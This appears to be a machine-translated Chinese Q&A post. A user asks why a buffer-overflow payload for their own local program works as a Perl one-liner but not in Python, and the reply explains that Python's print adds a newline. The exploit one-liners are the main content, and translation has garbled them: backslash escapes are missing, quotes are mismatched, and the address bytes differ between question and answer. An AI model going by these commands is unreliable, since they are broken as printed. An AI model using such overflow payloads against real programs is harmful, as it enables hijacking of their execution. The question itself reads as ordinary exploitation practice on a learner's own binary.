为什么我在perl中的漏洞利用有效,但在python中不起作用



我试图利用缓冲区溢出。我不认为这是有用的张贴我的程序在C。这个漏洞有效:

(perl -e 'print "a" x 280。" x00 xf6 x06 x40 x00 x00 x00 x00"';Cat) | ./a.out

但是这个没有

(python - c ' print (a * 280 +" x00 xf6 x06 x40 x00 x00 x00 x00")";Cat) | ./a.out

除了我使用的语言,我看不出有什么不同。有谁能告诉我有什么不同吗?

谢谢

是的,这是有区别的。Perl的print函数默认不打印换行符,而Python的会。在Python中,尝试:

(python -c 'import sys ; sys.stdout.write("a"*280+"xf6x06x40x00x00x00x00x00")'; cat) | ./a.out

相关内容

最新更新